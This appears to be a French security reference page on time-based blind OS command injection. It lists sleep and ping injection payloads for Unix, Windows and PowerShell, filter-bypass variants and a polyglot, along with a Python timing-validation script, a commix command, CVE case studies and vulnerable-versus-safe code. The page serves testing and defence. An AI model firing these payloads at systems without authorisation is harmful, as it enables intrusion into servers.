Injection à l'aveugle basée sur le temps

Qu'est-ce que l'injection de commandes à l'aveugle basée sur le temps ?#

L'injection de commandes à l'aveugle basée sur le temps est la technique de confirmation de l'exécution de commandes OS en mesurant la latence de réponse induite par une commande sleep ou ping injectée. L'application exécute la commande — le sleep injecté se déclenche, faisant pause du processus côté serveur — mais ne retourne aucune sortie dans la réponse HTTP. Le seul signal de l'attaquant est le temps écoulé entre l'envoi de la requête et la réception de la réponse.

Il s'agit d'une spécialisation de l'injection de commandes à l'aveugle. Les deux partagent la même cause profonde (CWE-78 — entrée non sanitisée atteint une fonction d'exécution shell), mais l'injection à l'aveugle basée sur le temps utilise le délai de réponse comme canal de confirmation plutôt que des écritures de fichiers ou des callbacks DNS OOB. C'est la méthode de confirmation la plus indépendante de l'infrastructure : elle ne nécessite aucun serveur externe, aucun chemin web inscriptible, et aucune résolution DNS — juste la capacité de mesurer le temps de réponse HTTP.

La limitation de la technique est sa susceptibilité aux faux positifs dûs à la charge serveur, à la gigue réseau, et au comportement de buffering des réponses CDN. Le protocole de validation proportionnelle décrit dans cette page élimine ces faux positifs via une mesure différentielle plutôt qu'une comparaison à seuil absolu.

Mécanisme#

Le serveur reçoit une chaîne de commande contenant un sleep injecté. Le shell exécute à la fois la commande légitime et le sleep injecté séquentiellement. La réponse HTTP n'est envoyée qu'après la fin du processus shell — ce qui prend désormais N secondes supplémentaires. L'attaquant mesure cette latence induite.

Le processus en cinq étapes :

1. L'attaquant envoie la requête avec un séparateur injecté et une commande sleep.
2. L'application concatène l'entrée dans une chaîne de commande shell.
3. Le shell exécute les deux commandes séquentiellement.
4. La commande sleep met en pause le processus shell pendant N secondes.
5. La réponse HTTP n'est envoyée qu'après la sortie du shell — N secondes en retard.

Payloads#

Unix / Linux#

# Sleep basique — le plus fiable sur bash/sh/dash/zsh
; sleep 7
& sleep 7 &
| sleep 7
$(sleep 7)
`sleep 7`
%0a sleep 7
 
# Contournement d'espaces basé sur IFS (contourne les filtres bloquant les espaces dans le payload)
;${IFS}sleep${IFS}7
;$IFS sleep$IFS 7
 
# Alternative ping — fonctionne quand le binaire sleep est bloqué
; ping -c 7 127.0.0.1
 
# Séparateur saut de ligne encodé en URL (contourne les filtres ; | &)
%0a%09sleep%097    # séparé par tabulation (0x09 = tab)
 
# Validation proportionnelle — envoyer en séquence
; sleep 7           # mesure T1
; sleep 14          # mesure T2 : si T2 ≈ 2×T1, injection confirmée

Windows cmd.exe#

REM ping -n envoie N paquets ICMP, ~1 seconde chacun
& ping -n 7 127.0.0.1 &
 
REM timeout — attend N secondes (nécessite un contexte console)
| timeout /T 7 /NOBREAK
 
REM choice — sélection automatique après N secondes
& choice /C YN /T 7 /D Y &
 
REM Validation proportionnelle sur Windows
& ping -n 7 127.0.0.1 &     REM T1: ~7s
& ping -n 14 127.0.0.1 &    REM T2: ~14s

PowerShell#

; Start-Sleep -Seconds 7
; Start-Sleep 7
; [System.Threading.Thread]::Sleep(7000)
; ping -n 7 127.0.0.1

Polyglotte multi-plateformes#

# Fonctionne sur Unix (sleep) et Windows (ping), quel que soit le shell actif
&(ping -n 11 127.0.0.1||ping -c 11 127.0.0.1)&
 
# Polyglotte basé sur le temps pour plusieurs contextes d'injection (sans guillemets, guillemets simples, guillemets doubles)
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

Le protocole de validation proportionnelle#

La validation proportionnelle est le différenciateur critique entre la détection basée sur le temps fiable et peu fiable. Un seul delta temporel est ambigu. Deux deltas qui s'échelonnent proportionnellement avec le N injecté ne le sont pas.

import statistics, time, requests
 
def baseline(url, param, safe_value, n=3):
    """Établir la latence de baseline médiane sur n requêtes propres."""
    times = []
    for _ in range(n):
        t0 = time.monotonic()
        requests.get(url, params={param: safe_value}, timeout=60)
        times.append(time.monotonic() - t0)
    return statistics.median(times)
 
def time_based_confirm(url, param, base_payload, T_baseline):
    """Validation proportionnelle : N=7 puis N=14."""
    # Sleep 7
    t0 = time.monotonic()
    requests.get(url, params={param: f"{base_payload}; sleep 7"}, timeout=30)
    D1 = time.monotonic() - t0 - T_baseline
 
    # Sleep 14
    t0 = time.monotonic()
    requests.get(url, params={param: f"{base_payload}; sleep 14"}, timeout=40)
    D2 = time.monotonic() - t0 - T_baseline
 
    # Vérification proportionnelle — les deux deltas doivent s'échelonner
    condition_A = D1 >= 5.5         # sleep 7 avec marge de 1,5s
    condition_B = D2 >= 12.5        # sleep 14 avec marge de 1,5s
    condition_C = (D2 - D1) >= 5.5  # 7s supplémentaires entre les mesures
 
    if condition_A and condition_B and condition_C:
        return "CONFIRMED", D1, D2
    elif condition_A:
        return "POTENTIAL", D1, D2
    else:
        return "NOT_DETECTED", D1, D2

Table d'interprétation :

Sources de faux positifs et atténuations#

Exemples réels#

CVE-2024-21887 — Ivanti Connect Secure (CVSS 9.1)

L'injection de commandes dans l'endpoint /api/v1/license/key-status/<node_name> d'Ivanti Connect Secure a été confirmée via des techniques basées sur le temps lors de la découverte initiale avant que l'infrastructure OOB soit établie. L'injection a été enchaînée avec CVE-2023-46805 (contournement d'authentification) pour obtenir un RCE pré-auth. Des acteurs étatiques ont utilisé la confirmation basée sur le temps pour vérifier l'exécution sur des milliers de cibles de passerelles VPN avant de déployer des implants malware persistants.

CVE-2024-3400 — PAN-OS GlobalProtect (CVSS 10.0)

La vérification initiale du PoC de CVE-2024-3400 a utilisé des tests à l'aveugle basés sur le temps pour confirmer que la manipulation du cookie SESSID déclenchait une exécution côté serveur. Un payload sleep injecté dans l'identifiant de session provoquait des délais mesurables dans la réponse du portail GlobalProtect, confirmant le chemin d'exécution avant que les payloads OOB et reverse shell soient développés. Volexity et Unit 42 ont attribué l'exploitation à UTA0218.

CVE-2022-46169 — Cacti (CVSS 9.8)

L'endpoint de polling de Cacti a été testé avec des payloads basés sur le temps via l'en-tête X-Forwarded-For. Injecter 127.0.0.1; sleep 7 dans l'en-tête X-Forwarded-For produisait un délai de 7 secondes dans les réponses de /remote_agent.php, confirmant le vecteur d'injection avant la publication des chaînes d'exploitation. Des exploits publics ont été publiés en 48 heures de la divulgation, conduisant à de larges infections de botnet.

Détection#

Tests manuels#

1. Établir une baseline : envoyer la requête 3 fois avec une valeur connue sûre et enregistrer le temps de réponse médian T0.

2. Injecter le payload sleep avec le séparateur le moins bruyant en premier :

   ; sleep 7
   %0a sleep 7
   $(sleep 7)

   Copier

3. Si D1 = (temps de réponse) - T0 ≥ 5,5 secondes, procéder à la validation proportionnelle :

   ; sleep 14

   Copier

   Confirmer uniquement quand D2 - T0 ≥ 12,5s ET D2 - D1 ≥ 5,5s.

4. Si la réponse arrive exactement à 30s, 60s, ou un autre nombre rond correspondant à un timeout CDN, ignorer le résultat et passer à OOB.

5. Tester toutes les familles de shell :

   # Unix
   ; sleep 7
   # Windows
   & ping -n 7 127.0.0.1 &
   # PowerShell
   ; Start-Sleep -Seconds 7

   Copier

6. Tester avec des variantes de contournement quand le payload basique échoue :

   ;${IFS}sleep${IFS}7
   ; ping -c 7 127.0.0.1
   %0a%09sleep%097

   Copier

Détection automatisée#

Commix en mode basé sur le temps :

commix --url "http://target.com/ping?host=*" --batch --smart \
       --technique=T --level=3 --failed-tries=3

Burp Suite Pro effectue automatiquement la détection basée sur le temps avec plusieurs variantes de payload et une analyse statistique des temps de réponse.

BreachVex confirme l'injection basée sur le temps en utilisant une validation proportionnelle sur plusieurs magnitudes de sleep par rapport à une baseline de latence médiane, avec un repli automatique vers la détection hors-bande quand des signatures de timeout CDN sont détectées (réponses exactement à 30s, 60s, ou 120s).

Prévention#

L'injection basée sur le temps exploite la même cause profonde que toutes les variantes d'injection de commandes OS. La prévention n'est pas spécifique au timing — c'est l'élimination de l'invocation de shell.

# VULNÉRABLE — shell=True permet l'injection sleep
import subprocess
def check_host(host):
    result = subprocess.run(
        f"ping -c 1 {host}",
        shell=True,
        capture_output=True,
        timeout=5  # le timeout NE PRÉVIENT PAS l'injection — limite juste votre attente
    )
    return result.returncode == 0
 
# SÛR — forme tableau, aucun shell invoqué
import re
def check_host_safe(host):
    if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', host):
        raise ValueError("IP invalide")
    result = subprocess.run(
        ["ping", "-c", "1", host],
        capture_output=True,
        timeout=5
    )
    return result.returncode == 0

// Node.js — VULNÉRABLE, shell:true permet les attaques de timing
const { spawn } = require('child_process');
spawn('ping', ['-c', '1', host], { shell: true });
 
// SÛR — shell:false (par défaut), les args ne sont pas interprétés
spawn('ping', ['-c', '1', host], { shell: false });
spawn('ping', ['-c', '1', host]);  // shell:false est la valeur par défaut

Ressources#

• PortSwigger Lab — Blind OS command injection with time delays
• PortSwigger Web Security Academy — OS Command Injection
• OWASP Testing for OS Command Injection — WSTG
• CVE-2024-21887 — NVD